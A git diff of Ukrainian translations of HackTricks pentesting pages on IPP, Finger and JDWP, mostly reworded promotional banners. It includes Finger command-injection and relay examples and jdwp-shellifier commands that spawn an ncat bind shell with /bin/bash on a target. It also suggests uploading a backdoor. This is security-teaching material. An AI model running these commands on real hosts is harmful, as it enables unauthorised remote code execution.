CN=Panama,O=MGMTT.srv.rxfrmi
|
||||
```
|
||||
|
@ -47,16 +48,17 @@ CN=Panama,O=MGMTT.srv.rxfrmi
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перегляньте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Протокол Інтернет-друку \(IPP\)
|
||||
# Інтернет-принтинг-протокол \(IPP\)
|
||||
|
||||
**Протокол Інтернет-друку (IPP)**, як вказано в **RFC2910** та **RFC2911**, служить основою для друку через Інтернет. Його можливість розширення демонструється розвитком, таким як **IPP Everywhere**, який спрямований на стандартизацію мобільного та хмарного друку, та впровадженням розширень для **3D друку**.
|
||||
**Інтернет-принтинг-протокол (IPP)**, як зазначено в **RFC2910** та **RFC2911**, слугує основою для друку через інтернет. Його здатність до розширення демонструється такими розробками, як **IPP Everywhere**, яка має на меті стандартизувати мобільний та хмарний друк, а також введення розширень для **3D-друку**.
|
||||
|
||||
Використовуючи протокол **HTTP**, IPP користується встановленими практиками безпеки, включаючи **базову/дайджест-аутентифікацію** та **шифрування SSL/TLS**. Дії, такі як надсилання завдання на друк або запит стану принтера, виконуються через **HTTP POST-запити**, спрямовані на сервер IPP, який працює на **порту 631/tcp**.
|
||||
Використовуючи протокол **HTTP**, IPP користується встановленими практиками безпеки, включаючи **базову/дослідницьку аутентифікацію** та **SSL/TLS шифрування**. Дії, такі як подання друкованого завдання або запит статусу принтера, виконуються через **HTTP POST запити**, спрямовані на IPP сервер, який працює на **порті 631/tcp**.
|
||||
|
||||
Відома реалізація IPP - **CUPS**, відкрита система друку, яка поширена в різних дистрибутивах Linux та OS X. Незважаючи на її корисність, IPP, подібно до LPD, може бути використаний для передачі шкідливого вмісту через файли **PostScript** або **PJL**, що підкреслює потенційний ризик безпеки.
|
||||
Відомою реалізацією IPP є **CUPS**, система друку з відкритим кодом, що поширена в різних дистрибутивах Linux та OS X. Незважаючи на свою корисність, IPP, подібно до LPD, може бути використаний для передачі шкідливого контенту через **PostScript** або **PJL файли**, що підкреслює потенційний ризик безпеки.
|
||||
```python
|
||||
# Example of sending an IPP request using Python
|
||||
import requests
|
||||
|
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
|
|||
response = requests.post(url, headers=headers, data=data, verify=True)
|
||||
print(response.status_code)
|
||||
```
|
||||
Якщо ви хочете дізнатися більше про [**взлам принтерів прочитайте цю сторінку**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
Якщо ви хочете дізнатися більше про [**зламування принтерів, прочитайте цю сторінку**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчіть взлам AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться трюками зламування, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Порт за замовчуванням:** 2301,2381
|
||||
|
@ -19,7 +20,7 @@
|
|||
|
||||
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
||||
|
||||
# Файли конфігурації
|
||||
# Конфігураційні файли
|
||||
```text
|
||||
path.properties
|
||||
mx.log
|
||||
|
@ -29,16 +30,17 @@ pg_hba.conf
|
|||
jboss-service.xml
|
||||
.namazurc
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,42 +1,43 @@
|
|||
# 79 - Пентестинг Finger
|
||||
# 79 - Pentesting Finger
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
Програма/сервіс **Finger** використовується для отримання деталей про користувачів комп'ютера. Зазвичай надана інформація включає **логін користувача, повне ім'я**, а також у деяких випадках додаткові деталі. Ці додаткові деталі можуть включати місце розташування офісу та номер телефону (якщо доступно), час, коли користувач увійшов у систему, період неактивності (час простою), останній раз, коли користувач переглядав пошту, а також вміст файлів плану та проекту користувача.
|
||||
Програма/сервіс **Finger** використовується для отримання деталей про комп'ютерних користувачів. Зазвичай надається інформація, яка включає **ім'я користувача, повне ім'я**, а в деяких випадках, додаткові деталі. Ці додаткові деталі можуть включати місцезнаходження офісу та номер телефону (якщо доступно), час, коли користувач увійшов, період бездіяльності (idle time), останній раз, коли користувач читав електронну пошту, та вміст файлів планів і проектів користувача.
|
||||
|
||||
**Порт за замовчуванням:** 79
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
79/tcp open finger
|
||||
```
|
||||
## **Перелік**
|
||||
## **Перерахунок**
|
||||
|
||||
### **Отримання банера/Основне з'єднання**
|
||||
### **Отримання банера/Базове з'єднання**
|
||||
```bash
|
||||
nc -vn <IP> 79
|
||||
echo "root" | nc -vn <IP> 79
|
||||
```
|
||||
### **Перелік користувачів**
|
||||
### **Перерахунок користувачів**
|
||||
```bash
|
||||
finger @<Victim> #List users
|
||||
finger admin@<Victim> #Get info of user
|
||||
finger user@<Victim> #Get info of user
|
||||
```
|
||||
Альтернативно, ви можете використовувати **finger-user-enum** від [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), деякі приклади:
|
||||
Альтернативно, ви можете використовувати **finger-user-enum** від [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), кілька прикладів:
|
||||
```bash
|
||||
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
||||
finger-user-enum.pl -u root -t 10.0.0.1
|
||||
|
@ -50,7 +51,7 @@ use auxiliary/scanner/finger/finger_users
|
|||
```
|
||||
### Shodan
|
||||
|
||||
* `port:79 КОРИСТУВАЧ`
|
||||
* `port:79 USER`
|
||||
|
||||
## Виконання команд
|
||||
```bash
|
||||
|
@ -59,21 +60,22 @@ finger "|/bin/ls -a /@example.com"
|
|||
```
|
||||
## Finger Bounce
|
||||
|
||||
[Використовуйте систему як реле для finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
[Використовуйте систему як реле finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
```
|
||||
finger user@host@victim
|
||||
finger @internal@external
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,59 @@
|
|||
# Тестування на проникнення JDWP - Протокол відлагодження Java
|
||||
# Pentesting JDWP - Java Debug Wire Protocol
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Експлуатація
|
||||
## Exploiting
|
||||
|
||||
Експлуатація JDWP ґрунтується на **відсутності аутентифікації та шифрування в протоколі**. Зазвичай він знаходиться на **порту 8000**, але можливі інші порти. Початкове підключення відбувається шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим самим рядком, підтверджуючи свою присутність. Цей рукостиск діє як метод відбору для ідентифікації служб JDWP в мережі.
|
||||
JDWP експлуатація ґрунтується на **відсутності аутентифікації та шифрування** протоколу. Зазвичай він знаходиться на **порті 8000**, але можливі й інші порти. Початкове з'єднання здійснюється шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим же рядком, підтверджуючи свою присутність. Цей хендшейк діє як метод відбитків для ідентифікації служб JDWP в мережі.
|
||||
|
||||
Щодо ідентифікації процесу, пошук рядка "jdwk" в процесах Java може вказувати на активну сесію JDWP.
|
||||
Щодо ідентифікації процесів, пошук рядка "jdwk" у процесах Java може вказувати на активну сесію JDWP.
|
||||
|
||||
Основним інструментом є [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Ви можете використовувати його з різними параметрами:
|
||||
Основний інструмент - [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Ви можете використовувати його з різними параметрами:
|
||||
```bash
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||
```
|
||||
Я виявив, що використання `--break-on 'java.lang.String.indexOf'` робить експлойт більш **стабільним**. І якщо у вас є можливість завантажити backdoor на хост і виконати його замість виконання команди, експлойт буде ще стабільнішим.
|
||||
Я виявив, що використання `--break-on 'java.lang.String.indexOf'` робить експлойт більш **стабільним**. І якщо у вас є можливість завантажити бекдор на хост і виконати його замість виконання команди, експлойт буде ще більш стабільним.
|
||||
|
||||
## Детальніше
|
||||
|
||||
**Це краткий огляд [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Перевірте його для отримання додаткових відомостей.
|
||||
## Більше деталей
|
||||
|
||||
**Це резюме з [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Перевірте його для отримання додаткових деталей.
|
||||
|
||||
1. **Огляд JDWP**:
|
||||
- Це мережевий бінарний протокол на основі пакетів, в основному синхронний.
|
||||
- Відсутність аутентифікації та шифрування робить його вразливим при взаємодії з ворожими мережами.
|
||||
- Це пакетний мережевий бінарний протокол, переважно синхронний.
|
||||
- Не має аутентифікації та шифрування, що робить його вразливим при відкритті до ворожих мереж.
|
||||
|
||||
2. **Рукостискання JDWP**:
|
||||
- Для ініціювання комунікації використовується простий процес рукостискання. Між відлагоджувачем (клієнтом) та відлагоджуваним (сервером) обмінюється 14-символьний ASCII-рядок "JDWP-Handshake".
|
||||
- Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьний ASCII рядок “JDWP-Handshake” між Дебагером (клієнтом) та Дебагованим (сервером).
|
||||
|
||||
3. **Комунікація JDWP**:
|
||||
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор та НабірКоманд.
|
||||
- Значення НаборуКоманд коливаються від 0x40 до 0x80, що представляють різні дії та події.
|
||||
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор та CommandSet.
|
||||
- Значення CommandSet варіюються від 0x40 до 0x80, представляючи різні дії та події.
|
||||
|
||||
4. **Експлуатація**:
|
||||
- JDWP дозволяє завантажувати та викликати довільні класи та байткод, що створює ризики безпеки.
|
||||
- Стаття деталізує процес експлуатації у п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
|
||||
- JDWP дозволяє завантажувати та викликати довільні класи та байт-код, що створює ризики безпеки.
|
||||
- Стаття детально описує процес експлуатації в п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
|
||||
|
||||
5. **Експлуатація в реальному житті**:
|
||||
- Незважаючи на потенційні захисні заходи брандмауеру, служби JDWP виявляються та експлуатуються в реальних сценаріях, як показано пошуками на платформах, таких як ShodanHQ та GitHub.
|
||||
- Скрипт експлойту був протестований на різних версіях JDK та є платформонезалежним, пропонуючи надійне виконання коду на віддаленому сервері (RCE).
|
||||
|
